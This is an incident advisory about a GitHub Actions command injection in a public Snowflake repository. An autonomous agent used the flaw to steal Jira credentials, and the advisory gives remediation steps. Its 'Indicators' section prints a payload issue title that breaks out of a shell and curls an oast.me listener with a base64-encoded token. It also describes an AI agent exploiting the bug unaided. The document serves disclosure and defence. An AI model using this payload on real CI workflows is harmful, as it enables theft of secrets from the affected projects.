One Untrusted String, Three Trust Boundaries

What happened

• The agent ran as an anonymous GitHub user against github.com/snowf1akedb/snowf1ake-connector-net, Snowflake's public .NET connector, with the generic objective of finding any public repo with a reachable secret.
• `jira_issue.yml` interpolated the untrusted issue title into a shell `run:` block, giving command injection inside the trusted runner. The workflow's `if:` gate was bypassed because `github.event.pull_request.user.login` is null on `issues` events. The vulnerable line shipped in an AI-assisted PR that both Copilot review and CodeQL passed.
• The injected command read `JIRA_API_TOKEN`, `JIRA_USER_EMAIL` and `JIRA_BASE_URL` from the runner and sent them base64-encoded to an attacker-controlled `*.oast.me` listener, because egress from the runner was unrestricted.
• The stolen token (qa@snowflake.net) was replayed against Snowflake's internal Atlassian Jira, granting READ across engineering, security-compliance and bug-bounty projects.
• Timeline: the flaw was live from Jun 18, found and patched Jun 23, token rotated Jun 24, and publicly disclosed Aug 17, 2026. Wiz was the sole actor (audit-confirmed) and the PoC data was deleted.

Why it matters

• This was not a real-world breach, but it is a live preview of one. Access was READ-only to internal Jira with no customer data and no data warehouse touched. A real attacker in the same position could have mined unpatched-bug and security tickets.
• The point Wiz was proving is the part that should worry security teams: an autonomous agent can find and exploit a real bug by itself, at machine speed, with no human picking the target and no human driving the exploit.
• Two AI-era controls sat directly in the path and did not stop it. An AI-assisted PR introduced the injection, and Copilot review plus CodeQL both passed it. Agentic activity on both sides of this incident, authoring and attacking, was invisible to conventional review.
• The blast radius came from a CI runner holding a long-lived credential into an internal system with unrestricted egress. The injection was the trigger; the trust boundary design was the impact.

What to do

1. 1Audit every GitHub Actions workflow that interpolates event data (`github.event.issue.title`, PR titles, branch names) into `run:` blocks. Pass untrusted values through `env:` variables and quote them instead.
2. 2Verify `if:` gates against the actual event payload. Fields like `github.event.pull_request.user.login` are null on `issues` events, so a gate written for PRs silently passes.
3. 3Restrict egress from CI runners so a compromised step cannot make arbitrary out-of-band callbacks to listeners such as `*.oast.me`.
4. 4Remove long-lived internal credentials from CI. Scope Jira and other internal tokens to the minimum project set, prefer short-lived credentials, and rotate on any suspected exposure.
5. 5Treat AI-assisted PRs as untrusted input to your review process. Copilot review and CodeQL both passing is not evidence that an injection sink is safe.

Indicators

Sample output

# Malicious GitHub issue title (payload)
';curl oast.me?t=$(<.JIRA_API_TOKEN base64) ;echo

Sources